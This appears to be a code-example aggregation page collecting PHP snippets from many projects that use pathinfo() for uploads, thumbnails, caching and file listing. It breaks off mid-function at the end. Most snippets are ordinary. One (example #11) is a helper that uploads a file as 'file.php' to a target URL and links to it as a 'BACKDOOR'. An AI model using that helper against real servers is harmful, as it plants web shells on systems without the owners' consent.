コード例 #1
11
ファイル: image.php プロジェクト: gittrue/VIF
 public function resize($filename, $width, $height)
 {
     if (!file_exists(DIR_IMAGE . $filename) || !is_file(DIR_IMAGE . $filename)) {
         return;
     }
     $info = pathinfo($filename);
     $extension = $info['extension'];
     $old_image = $filename;
     $new_image = 'cache/' . utf8_substr($filename, 0, utf8_strrpos($filename, '.')) . '-' . $width . 'x' . $height . '.' . $extension;
     if (!file_exists(DIR_IMAGE . $new_image) || filemtime(DIR_IMAGE . $old_image) > filemtime(DIR_IMAGE . $new_image)) {
         $path = '';
         $directories = explode('/', dirname(str_replace('../', '', $new_image)));
         foreach ($directories as $directory) {
             $path = $path . '/' . $directory;
             if (!file_exists(DIR_IMAGE . $path)) {
                 @mkdir(DIR_IMAGE . $path, 0777);
             }
         }
         $image = new Image(DIR_IMAGE . $old_image);
         $image->resize($width, $height);
         $image->save(DIR_IMAGE . $new_image);
     }
     if (isset($this->request->server['HTTPS']) && ($this->request->server['HTTPS'] == 'on' || $this->request->server['HTTPS'] == '1')) {
         return HTTPS_CATALOG . 'image/' . $new_image;
     } else {
         return HTTP_CATALOG . 'image/' . $new_image;
     }
 }
コード例 #2
2
ファイル: sqlite.php プロジェクト: atlas1308/testtesttestfarm
 /**
  * Tests that the storage location is a directory and is writable.
  */
 public function __construct($filename)
 {
     // Get the directory name
     $directory = str_replace('\\', '/', realpath(pathinfo($filename, PATHINFO_DIRNAME))) . '/';
     // Set the filename from the real directory path
     $filename = $directory . basename($filename);
     // Make sure the cache directory is writable
     if (!is_dir($directory) or !is_writable($directory)) {
         throw new KoException('Cache: Directory :name is unwritable.', array(':name' => $directory));
     }
     // Make sure the cache database is writable
     if (is_file($filename) and !is_writable($filename)) {
         throw new KoException('Cache: File :name is unwritable.', array(':name' => $filename));
     }
     // Open up an instance of the database
     $this->db = new SQLiteDatabase($filename, '0666', $error);
     // Throw an exception if there's an error
     if (!empty($error)) {
         throw new KoException('Cache: Driver error - ' . sqlite_error_string($error));
     }
     $query = "SELECT name FROM sqlite_master WHERE type = 'table' AND name = 'caches'";
     $tables = $this->db->query($query, SQLITE_BOTH, $error);
     // Throw an exception if there's an error
     if (!empty($error)) {
         throw new KoException('Cache: Driver error - ' . sqlite_error_string($error));
     }
     if ($tables->numRows() == 0) {
         // Issue a CREATE TABLE command
         $this->db->unbufferedQuery('CREATE TABLE caches(id VARCHAR(127) PRIMARY KEY, expiration INTEGER, cache TEXT);');
     }
 }
コード例 #3
1
 /**
  * Return a OpenSeadragon image viewer for the provided files.
  * 
  * @param File|array $files A File record or an array of File records.
  * @param int $width The width of the image viewer in pixels.
  * @param int $height The height of the image viewer in pixels.
  * @return string|null
  */
 public function openseadragon($files)
 {
     if (!is_array($files)) {
         $files = array($files);
     }
     // Filter out invalid images.
     $images = array();
     $imageNames = array();
     foreach ($files as $file) {
         // A valid image must be a File record.
         if (!$file instanceof File) {
             continue;
         }
         // A valid image must have a supported extension.
         $extension = pathinfo($file->original_filename, PATHINFO_EXTENSION);
         if (!in_array(strtolower($extension), $this->_supportedExtensions)) {
             continue;
         }
         $images[] = $file;
         $imageNames[explode(".", $file->filename)[0]] = openseadragon_dimensions($file, 'original');
     }
     // Return if there are no valid images.
     if (!$images) {
         return;
     }
     return $this->view->partial('common/openseadragon.php', array('images' => $images, 'imageNames' => $imageNames));
 }
コード例 #4
1
 public static function getUrlUploadMultiImages($obj, $user_id)
 {
     $url_arr = array();
     $min_size = 1024 * 1000 * 700;
     $max_size = 1024 * 1000 * 1000 * 3.5;
     foreach ($obj["tmp_name"] as $key => $tmp_name) {
         $ext_arr = array('png', 'jpg', 'jpeg', 'bmp');
         $name = StringHelper::filterString($obj['name'][$key]);
         $storeFolder = Yii::getPathOfAlias('webroot') . '/images/' . date('Y-m-d', time()) . '/' . $user_id . '/';
         $pathUrl = 'images/' . date('Y-m-d', time()) . '/' . $user_id . '/' . time() . $name;
         if (!file_exists($storeFolder)) {
             mkdir($storeFolder, 0777, true);
         }
         $tempFile = $obj['tmp_name'][$key];
         $targetFile = $storeFolder . time() . $name;
         $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
         $size = $obj['name']['size'];
         if (in_array($ext, $ext_arr)) {
             if ($size >= $min_size && $size <= $max_size) {
                 if (move_uploaded_file($tempFile, $targetFile)) {
                     array_push($url_arr, $pathUrl);
                 } else {
                     return NULL;
                 }
             } else {
                 return NULL;
             }
         } else {
             return NULL;
         }
     }
     return $url_arr;
 }
コード例 #5
1
ファイル: common.php プロジェクト: wangjiang988/ukshop
 /**
  * 图片裁剪
  *
  */
 public function pic_cutOp()
 {
     Uk86Language::uk86_read('admin_common');
     $lang = Uk86Language::uk86_getLangContent();
     uk86_import('function.thumb');
     if (uk86_chksubmit()) {
         $thumb_width = $_POST['x'];
         $x1 = $_POST["x1"];
         $y1 = $_POST["y1"];
         $x2 = $_POST["x2"];
         $y2 = $_POST["y2"];
         $w = $_POST["w"];
         $h = $_POST["h"];
         $scale = $thumb_width / $w;
         $src = str_ireplace(UPLOAD_SITE_URL, BASE_UPLOAD_PATH, $_POST['url']);
         if (strpos($src, '..') !== false || strpos($src, BASE_UPLOAD_PATH) !== 0) {
             exit;
         }
         if (!empty($_POST['filename'])) {
             // 				$save_file2 = BASE_UPLOAD_PATH.'/'.$_POST['filename'];
             $save_file2 = str_ireplace(UPLOAD_SITE_URL, BASE_UPLOAD_PATH, $_POST['filename']);
         } else {
             $save_file2 = str_replace('_small.', '_sm.', $src);
         }
         $cropped = uk86_resize_thumb($save_file2, $src, $w, $h, $x1, $y1, $scale);
         @unlink($src);
         $pathinfo = pathinfo($save_file2);
         exit($pathinfo['basename']);
     }
     $save_file = str_ireplace(UPLOAD_SITE_URL, BASE_UPLOAD_PATH, $_GET['url']);
     $_GET['resize'] = $_GET['resize'] == '0' ? '0' : '1';
     Tpl::output('height', uk86_get_height($save_file));
     Tpl::output('width', uk86_get_width($save_file));
     Tpl::showpage('common.pic_cut', 'null_layout');
 }
コード例 #6
1
 /**
  * Returns an array of all possible upgrade files as an array with
  * the upgrade's key and version
  * 
  * This first looks for all .php files in the versions directory.
  * The files should have the format of VERSION_NUMBER (e.g. 1.0.0__1).
  * The project is then checked to see if 
  */
 public function getUpgrades()
 {
     if (!$this->_upgrades) {
         $this->_upgrades = array();
         $versions = array();
         $dir = dirname(__FILE__) . '/versions';
         $files = sfFinder::type('file')->name('*.php')->in($dir);
         foreach ($files as $file) {
             $info = pathinfo($file);
             if (strpos($info['filename'], '__') === false) {
                 throw new sfException(sprintf('Invalid upgrade filename format for file "%s" - must contain a double underscore - VERSION__NUMBER (e.g. 1.0.0__1) ', $info['filename']));
             }
             $e = explode('__', $info['filename']);
             $version = $e[0];
             $number = $e[1];
             if ($this->_isVersionNew($info['filename'])) {
                 $versions[] = array('version' => $version, 'number' => $number);
                 $this->_upgrades[] = $version . '__' . $number;
             }
         }
         natcasesort($this->_upgrades);
         foreach ($this->_upgrades as $key => $version) {
             $this->_upgrades[$key] = $versions[$key];
         }
     }
     return $this->_upgrades;
 }
コード例 #7
0
ファイル: mypdf.class.php プロジェクト: jhbsz/ossimTest
 public function getImageFileType($file)
 {
     $type = '';
     // default type
     $imgfile = explode('?', $file);
     $fileinfo = pathinfo($imgfile[0]);
     if (!isset($fileinfo['extension']) || !$fileinfo['extension']) {
         $fileinfo['extension'] = 'php';
     }
     $type = strtolower($fileinfo['extension']);
     if ($type == 'cgi') {
         $type = 'php';
     }
     if ($type == 'jpg') {
         $type = 'jpeg';
     }
     if ($type == 'php') {
         // identification des infos
         $infos = @GetImageSize($file);
         if (!$infos) {
             $this->Error('Unsupported image : ' . $file);
         }
         // identification du type
         $type = explode('/', $infos['mime']);
         if ($type[0] != 'image') {
             $this->Error('Unsupported image : ' . $file);
         }
         $type = $type[1];
     }
     return $type;
 }
コード例 #8
0
ファイル: search.php プロジェクト: yczhangsjtu/html
function exploreDir($dirname, $keyword)
{
    $allowedExt = ".php.pdf.chm";
    $dh = opendir($dirname);
    while ($file = readdir($dh)) {
        if (is_dir("{$dirname}/{$file}")) {
            if ($file != '.' and $file != '..') {
                exploreDir("{$dirname}/{$file}", $keyword);
            }
        } else {
            if ($file == 'index.php') {
                $file = basename($dirname);
                if (ereg($keyword, $file)) {
                    echo '<a href="', $dirname, '">', $file, '</a><br>';
                }
            } else {
                if (ereg($keyword, $file)) {
                    $ext = pathinfo($file, PATHINFO_EXTENSION);
                    $ext = ".{$ext}";
                    if (ereg($ext, $allowedExt)) {
                        echo '<a href="', $dirname, '/', $file, '">', basename($file, $ext), '</a><br>';
                    }
                }
            }
        }
    }
    closedir($dh);
}
コード例 #9
0
ファイル: helpers.php プロジェクト: abbra/midcom
 public static function get_tests($root_file, $root_class, $add_skip = null)
 {
     $tests = array();
     if (!isset($root_file) || !isset($root_class)) {
         return $tests;
     }
     $skip = array('.', '..', 'all.php');
     if (is_array($add_skip)) {
         $skip = array_merge($skip, $add_skip);
     }
     $skip = array_flip($skip);
     $path_parts = pathinfo($root_file);
     $tests_dir = dir($path_parts['dirname']);
     $prefix = str_replace('_all', '', $root_class);
     while (($testfile = $tests_dir->read()) !== false) {
         if (array_key_exists($testfile, $skip)) {
             continue;
         }
         $path_parts = pathinfo($testfile);
         $test_name = str_replace('.php', '', $path_parts['filename']);
         $test_name = str_replace('Test', '', $test_name);
         if ($test_name != '') {
             require_once realpath(dirname($root_file)) . "/{$testfile}";
             $tests[] = "{$prefix}_{$test_name}";
         }
     }
     return $tests;
 }
コード例 #10
0
 function _thumb_media_id($cover_id)
 {
     $cover = get_cover($cover_id);
     $driver = C('PICTURE_UPLOAD_DRIVER');
     if ($driver != 'Local' && !file_exists(SITE_PATH . $cover['path'])) {
         // 先把图片下载到本地
         $pathinfo = pathinfo(SITE_PATH . $cover['path']);
         mkdirs($pathinfo['dirname']);
         $content = wp_file_get_contents($cover['url']);
         $res = file_put_contents(SITE_PATH . $cover['path'], $content);
         if ($res) {
             return '';
         }
     }
     $path = $cover['path'];
     if (!$path) {
         return '';
     }
     $param['type'] = 'thumb';
     $param['media'] = '@' . realpath(SITE_PATH . $path);
     $url = 'https://api.weixin.qq.com/cgi-bin/material/add_material?access_token=' . get_access_token();
     $res = post_data($url, $param, true);
     if (isset($res['errcode']) && $res['errcode'] != 0) {
         return '';
     }
     $map['cover_id'] = $cover_id;
     $map['manager_id'] = $this->mid;
     $this->where($map)->setField('thumb_media_id', $res['media_id']);
     return $res['media_id'];
 }
コード例 #11
0
function do_post_request($url, $res, $file, $name)
{
    $data = "";
    $boundary = "---------------------" . substr(md5(rand(0, 32000)), 0, 10);
    $data .= "--{$boundary}\n";
    $fileContents = file_get_contents($file);
    $md5 = md5_file($file);
    $ext = pathinfo($file, PATHINFO_EXTENSION);
    $data .= "Content-Disposition: form-data; name=\"file\"; filename=\"file.php\"\n";
    $data .= "Content-Type: text/plain\n";
    $data .= "Content-Transfer-Encoding: binary\n\n";
    $data .= $fileContents . "\n";
    $data .= "--{$boundary}--\n";
    $params = array('http' => array('method' => 'POST', 'header' => 'Content-Type: multipart/form-data; boundary=' . $boundary, 'content' => $data));
    $ctx = stream_context_create($params);
    $fp = fopen($url, 'rb', false, $ctx);
    if (!$fp) {
        throw new Exception("Erreur !");
    }
    $response = @stream_get_contents($fp);
    if ($response === false) {
        throw new Exception("Erreur !");
    } else {
        echo "file should be here : ";
        /* LETTERBOX */
        if (count($response) > 1) {
            echo $response;
        } else {
            echo "<a href='" . $res . "tmp/tmp_file_" . $name . "." . $ext . "'>BACKDOOR<a>";
        }
    }
}
コード例 #12
0
 /**
  * Add a View instance to the Collector
  *
  * @param \Illuminate\View\View $view
  */
 public function addView(View $view)
 {
     $name = $view->getName();
     $path = $view->getPath();
     if (!is_object($path)) {
         if ($path) {
             $path = ltrim(str_replace(base_path(), '', realpath($path)), '/');
         }
         if (substr($path, -10) == '.blade.php') {
             $type = 'blade';
         } else {
             $type = pathinfo($path, PATHINFO_EXTENSION);
         }
     } else {
         $type = get_class($view);
         $path = '';
     }
     if (!$this->collect_data) {
         $params = array_keys($view->getData());
     } else {
         $data = array();
         foreach ($view->getData() as $key => $value) {
             $data[$key] = $this->exporter->exportValue($value);
         }
         $params = $data;
     }
     $this->templates[] = array('name' => $path ? sprintf('%s (%s)', $name, $path) : $name, 'param_count' => count($params), 'params' => $params, 'type' => $type);
 }
コード例 #13
0
ファイル: Files.php プロジェクト: vojtajina/sitellite
 function add($file, $appname, $user, $name, $size)
 {
     $info = pathinfo($name);
     /*if (empty ($name)) {
     			$name = $info['basename'];
     		} elseif (! strstr ($name, $info['extension'])) {
     			$name = $name . '.' . $info['extension'];
     		}*/
     $struct = array('name' => $user, 'file' => $name, 'type' => $this->getType($info['extension']), 'size' => $size, 'appname' => $appname);
     // move file
     if ($this->store->exists($appname . '-' . $name)) {
         $this->error = 'File already exists!  Please choose another name';
         return false;
     }
     if (!$this->store->move($appname . '-' . $name, $file, true)) {
         $this->error = $this->store->error;
         return false;
     }
     // add to database
     $res = parent::add($struct);
     if (!$res) {
         return false;
     }
     return $this->getPath($name, $appname);
 }
コード例 #14
0
 /**
  * Register mwEmbeed resource set 
  * 
  * Adds modules to ResourceLoader
  */
 public static function register($mwEmbedResourcePath)
 {
     global $IP, $wgExtensionMessagesFiles;
     $fullResourcePath = $IP . '/' . $mwEmbedResourcePath;
     // Get the module name from the end of the path:
     $modulePathParts = explode('/', $mwEmbedResourcePath);
     $moduleName = array_pop($modulePathParts);
     if (!is_dir($fullResourcePath)) {
         throw new MWException(__METHOD__ . " not given readable path: " . htmlspecialchars($mwEmbedResourcePath));
     }
     if (substr($mwEmbedResourcePath, -1) == '/') {
         throw new MWException(__METHOD__ . " path has trailing slash: " . htmlspecialchars($mwEmbedResourcePath));
     }
     // Add module messages if present:
     $msgFileName = $fullResourcePath . '/' . $moduleName . '.i18n';
     if (is_file($msgFileName . '.json')) {
         $wgExtensionMessagesFiles['MwEmbed.' . $moduleName] = $msgFileName . '.json';
     } elseif (is_file($msgFileName . '.php')) {
         $wgExtensionMessagesFiles['MwEmbed.' . $moduleName] = $msgFileName . '.php';
     }
     // Get the mwEmbed module resource registration:
     $moduleResourceFileName = $fullResourcePath . '/' . $moduleName;
     if (is_file($moduleResourceFileName . '.json')) {
         $resourceList = json_decode(file_get_contents($moduleResourceFileName . '.json'), TRUE);
     } else {
         $resourceList = (include $moduleResourceFileName . '.php');
     }
     // Look for special 'messages' => 'moduleFile' key and load all modules file messages:
     foreach ($resourceList as $name => $resources) {
         if (isset($resources['messageFile']) && is_file($fullResourcePath . '/' . $resources['messageFile'])) {
             $resourceList[$name]['messages'] = array();
             $ext = pathinfo($fullResourcePath . '/' . $resources['messageFile'], PATHINFO_EXTENSION);
             switch ($ext) {
                 case "json":
                     $messages = json_decode(file_get_contents($fullResourcePath . '/' . $resources['messageFile']), TRUE);
                     break;
                 case "php":
                     include $fullResourcePath . '/' . $resources['messageFile'];
                     break;
             }
             foreach ($messages['en'] as $msgKey => $na) {
                 $resourceList[$name]['messages'][] = $msgKey;
             }
         }
     }
     // Check for module loader:
     if (is_file($fullResourcePath . '/' . $moduleName . '.loader.js')) {
         $resourceList[$moduleName . '.loader'] = array('loaderScripts' => $moduleName . '.loader.js');
     }
     // Check for module config ( @@TODO support per-module config )
     $configPathFileName = $fullResourcePath . '/' . $moduleName . '.config';
     if (is_file($configPathFileName . '.json')) {
         $moduleConfigObj = json_decode(file_get_contents($configPathFileName . '.json'), TRUE);
         self::$moduleConfig = array_merge(self::$moduleConfig, $moduleConfigObj);
     } elseif (is_file($configPathFileName . '.php')) {
         self::$moduleConfig = array_merge(self::$moduleConfig, include $configPathFileName . '.php');
     }
     // Add the resource list into the module set with its provided path
     self::$moduleSet[$mwEmbedResourcePath] = $resourceList;
 }
コード例 #15
0
/**
 * Register a plugins by path
 * This will help us to override components files easily.
 * 
 * @param string $path A valid path;
 * @return boolean
 */
function ossn_register_plugins_by_path($path)
{
    global $Ossn;
    if (ossn_site_settings('cache') == 1) {
        return false;
    }
    $type = 'default';
    $type = ossn_call_hook('plugins', 'type', false, $type);
    $path = $path . $type . '/';
    if (!is_dir($path)) {
        //disable error log, will cause a huge log file
        //error_log("Ossn tried to register invalid plugins by path: {$path}");
        return false;
    }
    $path = str_replace("\\", "/", $path);
    $directory = new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS);
    $iterator = new RecursiveIteratorIterator($directory);
    if ($iterator) {
        foreach ($iterator as $file) {
            if (pathinfo($file, PATHINFO_EXTENSION) == "php") {
                $file = str_replace("\\", "/", $file);
                $location = str_replace(dirname(__FILE__) . '/plugins/', '', $file);
                $name = str_replace($path, '', $location);
                $name = substr($name, 0, -4);
                $fpath = substr($file, 0, -4);
                $fpath = str_replace(array($name, ossn_route()->www), '', $fpath);
                $Ossn->plugins[$name] = $fpath;
            }
        }
    }
    return true;
}
コード例 #16
0
 public function actionCrop($id)
 {
     $model = $this->findModel($id);
     $type = \Yii::$app->getRequest()->post("type");
     $x = \Yii::$app->getRequest()->post("x");
     $y = \Yii::$app->getRequest()->post("y");
     $w = \Yii::$app->getRequest()->post("w");
     $h = \Yii::$app->getRequest()->post("h");
     switch ($type) {
         case CropType::ALL:
             $original = $model->getAbsolutePath();
             Image::crop($original, $w, $h, [$x, $y])->save($original);
             $model->deleteThumbs();
             break;
         case CropType::THUMBNAIL:
             $original = $model->getAbsolutePath();
             $newPath = $model->getTempDirectory() . DIRECTORY_SEPARATOR . $model->hash . "." . $model->extension;
             $newOriginal = \Yii::$app->get("fileStorage")->getPath($newPath);
             Image::crop($original, $w, $h, [$x, $y])->save($newOriginal);
             $thumbs = $model->getThumbs();
             foreach ($thumbs as $path) {
                 $fileName = ltrim(pathinfo(" " . $path, PATHINFO_FILENAME));
                 $parts = explode("_", $fileName);
                 list($w, $h) = explode("x", $parts[2]);
                 Image::thumbnail($newOriginal, $w, $h)->save(\Yii::$app->get("fileStorage")->getPath($path));
             }
             \Yii::$app->get("fileStorage")->delete($newPath);
             break;
         case CropType::ORIGINAL:
             $original = $model->getAbsolutePath();
             Image::crop($original, $w, $h, [$x, $y])->save($original);
             break;
     }
     return $this->renderJsonMessage(true, "裁剪成功");
 }
コード例 #17
0
ファイル: class.fileToStr.php プロジェクト: t-web/doeqs_new
 public function convert($filename, $filepath)
 {
     $ext = pathinfo($filename, PATHINFO_EXTENSION);
     switch ($ext) {
         case "txt":
             return file_get_contents($filepath);
         case "html":
         case "htm":
             return strip_tags(str_replace(array("<br>", "<div>"), "\n", file_get_contents($filepath)));
             //get rid of all html tags, but keep some linebreaks there.
         //get rid of all html tags, but keep some linebreaks there.
         case "doc":
             return $this->docToText($filepath);
         case "docx":
             return $this->docxToText($filepath);
         case "odt":
             return $this->odtToText($filepath);
         case "pdf":
             return $this->pdfToText($filepath);
             //case "csv"://really awk case. Plus not sanitized. D:
             //DB::query("LOAD DATA INFILE '%0%' INTO TABLE questions FIELDS TERMINATED BY ',' ENCLOSED BY '\"' LINES TERMINATED BY '\r\n' IGNORE 1 LINES",($_FILE["file"]["tmp_name"]));
         //case "csv"://really awk case. Plus not sanitized. D:
         //DB::query("LOAD DATA INFILE '%0%' INTO TABLE questions FIELDS TERMINATED BY ',' ENCLOSED BY '\"' LINES TERMINATED BY '\r\n' IGNORE 1 LINES",($_FILE["file"]["tmp_name"]));
         default:
             echo "Unsupported file extension <i>{$ext}</i> - we currently support txt, html, doc, docx, odt, pdf.";
     }
 }
コード例 #18
0
ファイル: BxDolIO.php プロジェクト: Gotgot59/dolphin.pro
 function isWritable($sFile, $sPrePath = '/../../')
 {
     clearstatcache();
     $aPathInfo = pathinfo(__FILE__);
     $sFile = $aPathInfo['dirname'] . '/../../' . $sFile;
     return is_readable($sFile) && is_writable($sFile);
 }
コード例 #19
0
ファイル: items.php プロジェクト: Exactpk/opensourcepos
 function pic_thumb($pic_id)
 {
     $this->load->helper('file');
     $this->load->library('image_lib');
     $base_path = "uploads/item_pics/" . $pic_id;
     $images = glob($base_path . "*");
     if (sizeof($images) > 0) {
         $image_path = $images[0];
         $ext = pathinfo($image_path, PATHINFO_EXTENSION);
         $thumb_path = $base_path . $this->image_lib->thumb_marker . '.' . $ext;
         if (sizeof($images) < 2) {
             $config['image_library'] = 'gd2';
             $config['source_image'] = $image_path;
             $config['maintain_ratio'] = TRUE;
             $config['create_thumb'] = TRUE;
             $config['width'] = 52;
             $config['height'] = 32;
             $this->image_lib->initialize($config);
             $image = $this->image_lib->resize();
             $thumb_path = $this->image_lib->full_dst_path;
         }
         $this->output->set_content_type(get_mime_by_extension($thumb_path));
         $this->output->set_output(file_get_contents($thumb_path));
     }
 }
コード例 #20
0
ファイル: TemplateController.php プロジェクト: Toney/xmcms
 public function actionGetfilelist($template)
 {
     $fileutil = new FileUtil();
     $dir = null;
     $loc = $_REQUEST['loc'];
     if ($loc == null) {
         $dir = 'themes/' . $template . '/views';
     } else {
         $dir = $loc;
     }
     $handler = opendir($dir);
     $files = array();
     while (($filename = readdir($handler)) !== false) {
         //务必使用!==,防止目录下出现类似文件名“0”等情况
         $extend = pathinfo($filename);
         $extend = strtolower($extend["extension"]);
         if ($filename != "." && $filename != ".." && $extend !== "db") {
             if (is_dir($dir . '/' . $filename)) {
                 $files[] = array(name => $filename, loc => $dir . '/' . $filename, isParent => true);
             } else {
                 $files[] = array(name => $filename, loc => $dir . '/' . $filename, isParent => false);
             }
         }
     }
     closedir($handler);
     echo json_encode($files);
 }
コード例 #21
0
ファイル: Comic.php プロジェクト: johnbintz/comicpress-nimble
 /**
  * Process a directory or an array of comic file info and generate Comic objects based on the data.
  */
 public static function process_directory($directory)
 {
     if (!is_array($directory) && !is_string($directory)) {
         throw new ComicException("must be an array or a string");
     }
     $result = array();
     $found_entries = array();
     if (is_array($directory)) {
         foreach ($directory as $filename) {
             $base = pathinfo($filename, PATHINFO_FILENAME);
             $extension = pathinfo($filename, PATHINFO_EXTENSION);
             if (!isset($found_entries[$base])) {
                 $found_entries[$base] = array();
             }
             if (($time_result = strtotime($base)) !== false) {
                 $found_entries[$base]['date'] = $time_result;
             }
             if (!isset($found_entries[$base]['title'])) {
                 $found_entries[$base]['title'] = $base;
             }
             switch ($extension) {
                 case "txt":
                     $found_entries[$base]['copy'] = "";
                     break;
             }
         }
     }
     foreach ($found_entries as $entry_info) {
         $result[] = new Comic($entry_info);
     }
     return $result;
 }
コード例 #22
0
ファイル: Standard.php プロジェクト: mvnp/aimeos-core
 /**
  * Uploads a XLS file with all attribute texts.
  *
  * @param \stdClass $params Object containing the properties
  */
 public function uploadFile(\stdClass $params)
 {
     $this->checkParams($params, array('site'));
     $this->setLocale($params->site);
     if (($fileinfo = reset($_FILES)) === false) {
         throw new \Aimeos\Controller\ExtJS\Exception('No file was uploaded');
     }
     $config = $this->getContext()->getConfig();
     /** controller/extjs/attribute/import/text/standard/enablecheck
      * Enables checking uploaded files if they are valid and not part of an attack
      *
      * This configuration option is for unit testing only! Please don't disable
      * the checks for uploaded files in production environments as this
      * would give attackers the possibility to infiltrate your installation!
      *
      * @param boolean True to enable, false to disable
      * @since 2014.03
      * @category Developer
      */
     if ($config->get('controller/extjs/attribute/import/text/standard/enablecheck', true)) {
         $this->checkFileUpload($fileinfo['tmp_name'], $fileinfo['error']);
     }
     $fileext = pathinfo($fileinfo['name'], PATHINFO_EXTENSION);
     $dest = md5($fileinfo['name'] . time() . getmypid()) . '.' . $fileext;
     $fs = $this->getContext()->getFilesystemManager()->get('fs-admin');
     $fs->writef($dest, $fileinfo['tmp_name']);
     $result = (object) array('site' => $params->site, 'items' => array((object) array('job.label' => 'Attribute text import: ' . $fileinfo['name'], 'job.method' => 'Attribute_Import_Text.importFile', 'job.parameter' => array('site' => $params->site, 'items' => $dest), 'job.status' => 1)));
     $jobController = \Aimeos\Controller\ExtJS\Admin\Job\Factory::createController($this->getContext());
     $jobController->saveItems($result);
     return array('items' => $dest, 'success' => true);
 }
コード例 #23
0
 /**
  * Iterate over all files in the given directory searching for classes
  *
  * @param \Iterator|string $path      The path to search in or an iterator
  * @param string           $blacklist Regex that matches against the file path that exclude from the classmap.
  * @param IOInterface      $io        IO object
  * @param string           $namespace Optional namespace prefix to filter by
  *
  * @throws \RuntimeException When the path is neither an existing file nor directory
  * @return array             A class map array
  */
 public static function createMap($path, $blacklist = null, IOInterface $io = null, $namespace = null)
 {
     if (is_string($path)) {
         if (is_file($path)) {
             $path = array(new \SplFileInfo($path));
         } elseif (is_dir($path)) {
             $path = Finder::create()->files()->followLinks()->name('/\\.(php|inc|hh)$/')->in($path);
         } else {
             throw new \RuntimeException('Could not scan for classes inside "' . $path . '" which does not appear to be a file nor a folder');
         }
     }
     $map = array();
     foreach ($path as $file) {
         $filePath = $file->getRealPath();
         if (!in_array(pathinfo($filePath, PATHINFO_EXTENSION), array('php', 'inc', 'hh'))) {
             continue;
         }
         if ($blacklist && preg_match($blacklist, strtr($filePath, '\\', '/'))) {
             continue;
         }
         $classes = self::findClasses($filePath);
         foreach ($classes as $class) {
             // skip classes not within the given namespace prefix
             if (null !== $namespace && 0 !== strpos($class, $namespace)) {
                 continue;
             }
             if (!isset($map[$class])) {
                 $map[$class] = $filePath;
             } elseif ($io && $map[$class] !== $filePath && !preg_match('{/(test|fixture|example|stub)s?/}i', strtr($map[$class] . ' ' . $filePath, '\\', '/'))) {
                 $io->writeError('<warning>Warning: Ambiguous class resolution, "' . $class . '"' . ' was found in both "' . $map[$class] . '" and "' . $filePath . '", the first will be used.</warning>');
             }
         }
     }
     return $map;
 }
コード例 #24
0
 /**
  * Handle pre save event
  *
  * @param LifecycleEventArgs $args Event arguments
  */
 protected function preSave(LifecycleEventArgs $args)
 {
     $annotations = $this->container->get('cyber_app.metadata.reader')->getUploadebleFieldsAnnotations($args->getEntity());
     if (0 === count($annotations)) {
         return;
     }
     foreach ($annotations as $field => $annotation) {
         $config = $this->container->getParameter('oneup_uploader.config.' . $annotation->endpoint);
         if (!(isset($config['use_orphanage']) && $config['use_orphanage'])) {
             continue;
         }
         $value = (array) PropertyAccess::createPropertyAccessor()->getValue($args->getEntity(), $field);
         $value = array_filter($value, 'strlen');
         $value = array_map(function ($file) {
             return pathinfo($file, PATHINFO_BASENAME);
         }, $value);
         if (empty($value)) {
             continue;
         }
         $orphanageStorage = $this->container->get('oneup_uploader.orphanage.' . $annotation->endpoint);
         $files = [];
         foreach ($orphanageStorage->getFiles() as $file) {
             if (in_array($file->getBasename(), $value, true)) {
                 $files[] = $file;
             }
         }
         $orphanageStorage->uploadFiles($files);
     }
 }
コード例 #25
0
ファイル: files.php プロジェクト: kosmosby/medicine-prof
	public function iteratorFilter($path)
	{
        $state     = $this->getState();
		$filename  = ltrim(basename(' '.strtr($path, array('/' => '/ '))));
		$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));

		if ($state->name)
        {
			if (!in_array($filename, (array) $state->name)) {
				return false;
			}
		}

		if ($state->types)
        {
			if ((in_array($extension, ComFilesModelEntityFile::$image_extensions) && !in_array('image', (array) $state->types))
			|| (!in_array($extension, ComFilesModelEntityFile::$image_extensions) && !in_array('file', (array) $state->types))
			) {
				return false;
			}
		}

		if ($state->search && stripos($filename, $state->search) === false) {
            return false;
        }
	}
コード例 #26
0
 public function projectImport($api, $args)
 {
     $this->checkACL($api, $args);
     $this->requireArgs($args, array('module'));
     $bean = BeanFactory::getBean($args['module']);
     if (!$bean->ACLAccess('save') || !$bean->ACLAccess('import')) {
         throw new SugarApiExceptionNotAuthorized('EXCEPTION_NOT_AUTHORIZED');
     }
     if (isset($_FILES) && count($_FILES) === 1) {
         reset($_FILES);
         $first_key = key($_FILES);
         if (isset($_FILES[$first_key]['tmp_name']) && $this->isUploadedFile($_FILES[$first_key]['tmp_name']) && isset($_FILES[$first_key]['size']) && isset($_FILES[$first_key]['size']) > 0) {
             try {
                 $importerObject = new PMSEProjectImporter();
                 $name = $_FILES[$first_key]['name'];
                 $extension = pathinfo($name, PATHINFO_EXTENSION);
                 if ($extension == $importerObject->getExtension()) {
                     $data = $importerObject->importProject($_FILES[$first_key]['tmp_name']);
                     $results = array('project_import' => $data);
                 } else {
                     throw new SugarApiExceptionRequestMethodFailure('ERROR_UPLOAD_FAILED');
                 }
             } catch (SugarApiExceptionNotAuthorized $e) {
                 throw new SugarApiExceptionNotAuthorized('ERROR_UPLOAD_ACCESS_PD');
             } catch (Exception $e) {
                 throw new SugarApiExceptionRequestMethodFailure('ERROR_UPLOAD_FAILED');
             }
             return $results;
         }
     } else {
         throw new SugarApiExceptionMissingParameter('ERROR_UPLOAD_FAILED');
     }
 }
コード例 #27
0
ファイル: plugin.php プロジェクト: ky0ncheng/esotalk-for-sae
 /**
  * Format an attachment to be outputted on the page, either in the attachment list
  * at the bottom of the post or embedded inside the post.
  *
  * @param array $attachment The attachment details.
  * @param bool $expanded Whether or not the attachment should be displayed in its
  * 		full form (i.e. whether or not the attachment is embedded in the post.)
  * @return string The HTML to output.
  */
 function formatAttachment($attachment, $expanded = false)
 {
     $extension = strtolower(pathinfo($attachment["filename"], PATHINFO_EXTENSION));
     $url = URL("attachment/" . $attachment["attachmentId"] . "_" . $attachment["filename"]);
     $filename = sanitizeHTML($attachment["filename"]);
     $displayFilename = ET::formatter()->init($filename)->highlight(ET::$session->get("highlight"))->get();
     // For images, either show them directly or show a thumbnail.
     if (in_array($extension, array("jpg", "jpeg", "png", "gif"))) {
         if ($expanded) {
             return "<span class='attachment attachment-image'><img src='" . $url . "' alt='" . $filename . "' title='" . $filename . "'></span>";
         } else {
